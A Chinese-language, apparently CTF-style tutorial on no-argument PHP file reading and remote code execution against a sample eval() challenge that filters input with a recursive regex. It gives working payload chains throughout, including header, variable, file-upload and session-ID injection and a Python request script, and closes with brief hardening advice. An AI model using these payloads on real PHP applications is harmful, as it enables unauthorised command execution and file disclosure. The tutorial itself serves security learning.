无参数读文件和RCE
什么是无参数?
无参数(No-Argument)的概念,顾名思义,就是在PHP中调用函数时,不传递任何参数。我们需要利用仅靠函数本身的返回值或嵌套无参数函数的方式,达到读取文件或远程命令执行(RCE)的目的。
这类攻击通常受限于特定的代码环境,例如:
-  
只能使用不带参数的函数。
 -  
传递参数时,必须是另一个函数的返回值。
 -  
受限于PHP的内置安全机制,如
disable_functions和open_basedir。 
例题分析
代码:
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>
 
代码中:
-  
highlight_file(__FILE__):输出当前文件源码,方便分析。 -  
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']):匹配并替换掉无参数的函数调用,确保$_GET['code']仅剩;。 -  
eval($_GET['code']):执行传入的code参数。 
正则表达式解析:
-  
[^\W]+:匹配字母、数字和下划线,即PHP函数名。 -  
\((?R)?\):匹配函数括号内容,允许递归嵌套。 -  
preg_replace():删除匹配到的函数调用,最终仅剩;时才允许eval()执行。 
核心限制:我们只能使用无参数的PHP函数,否则 preg_replace() 会清除代码。
无参数文件读取
1. 获取当前目录下的文件
正常情况下,我们可以使用:
print_r(scandir('.'));
 
来获取当前目录下的文件列表。但是 "." 不能直接传递参数,因此我们需要构造 "." 的方法。
方法一:使用 localeconv()
 
current(localeconv());
 
-  
localeconv()返回本地货币格式,其中decimal_point位置通常是"."。 -  
current()获取数组的第一个元素,即"."。 
最终:
print_r(scandir(current(localeconv())));
 
成功获取当前目录下的所有文件。

方法二:使用 chr(46)
 
chr(46) 直接返回 '.':
print_r(scandir(chr(46)));
 
但 chr(46) 依然需要 46 这个数字,我们可以绕过:
chr(time() % 256);  // 只要 time() % 256 在46时,就可以返回 "."
 
或者:
chr(current(localtime(time()))); // localtime() 返回的数组第一项是秒数,60秒内一定能得到46
 
方法三:使用 PHP 版本计算
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
 
该方法基于PHP版本(例如 5.5.9):
-  
floor(phpversion())→5 -  
sqrt(5)→2.236 -  
tan(2.236)→-2.185 -  
cosh(-2.185)→4.501 -  
sinh(4.501)→45.081 -  
ceil(45.081)→46 -  
chr(46)→"." 
最终:
print_r(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
 
方法四:使用 crypt() 生成 .
 
crypt() 可以生成带 . 的哈希:
chr(ord(hebrevc(crypt(time()))));
 
或:
chr(ord(strrev(crypt(serialize(array())))));
 
结合 scandir():
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));
 
多次刷新,最终会随机得到 "."。


2. 读取当前目录文件
获得目录列表后,我们可以读取文件。假设目标文件是 flag.php,我们需要遍历目录列表并读取它。
方法一:读取最后一个文件
show_source(end(scandir(getcwd())));
 
或:
highlight_file(end(scandir(getcwd())));
 
方法二:逆序数组读取
show_source(current(array_reverse(scandir(getcwd()))));
 
利用 array_reverse() 反转数组,使最后一个文件变成第一个,current() 获取它。
方法三:随机获取文件
show_source(array_rand(array_flip(scandir(getcwd()))));
 
-  
array_flip()交换键和值,使文件名变为键。 -  
array_rand()随机选取一个键,最终得到文件名。 
3. 读取上一级目录文件
方法一:使用 dirname()
 
print_r(scandir(dirname(getcwd())));
 
-  
dirname(getcwd())获取上一级目录路径。 -  
scandir()列出该目录文件。 
方法二:利用 ".."
 
print_r(scandir(next(scandir(getcwd()))));
 
-  
next(scandir(getcwd()))获取..。 -  
scandir(..)列出上级目录。 
无参数RCE(远程命令执行)
无参数RCE的核心思路是利用环境变量、$_GET、$_POST、$_COOKIE、$_FILES、$_SESSION 等存储参数,再通过无参数函数获取并执行。
1. 利用 getallheaders()
 
eval(pos(getallheaders()));
 
我们可以在请求头中注入代码:
GET /index.php?code=eval(pos(getallheaders())) HTTP/1.1
Leon: system('ls');
 
PHP 解析后:
eval(system('ls'));
 
成功执行命令。
2. 利用 get_defined_vars()
 
get_defined_vars() 返回所有PHP变量,包括 $_GET、$_POST 等:
eval(pos(pos(get_defined_vars())));
 
请求:
GET /index.php?leon=system('id');&code=eval(pos(pos(get_defined_vars())));
 
执行:
system('id');
 
3. 利用 $_FILES
 
上传任意文件:
import requests
files = {
  "system('whoami');": ""
}
r = requests.post('http://127.0.0.1/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.text)
 
因为 $_FILES 在 get_defined_vars() 结果的最后一项,我们用 end() 取出,再 pos(pos()) 获取文件名,最终执行代码。
4. 利用 session_id()
 
eval(hex2bin(session_id(session_start())));
 
我们可以通过 Cookie 传入 session_id:
Cookie: PHPSESSID=706870696e666f28293b
 
hex2bin() 解码成:
phpinfo();
 
最终 eval() 执行 phpinfo()。
总结
无参数文件读取和RCE主要考验对PHP函数的理解和组合能力。通过构造无参数调用,我们可以:
-  
读取目录、文件内容。
 -  
执行命令,绕过某些安全限制。
 
安全开发时,需要禁用 eval(),限制 scandir()、getallheaders()、get_defined_vars() 等函数的使用,并严格过滤用户输入。

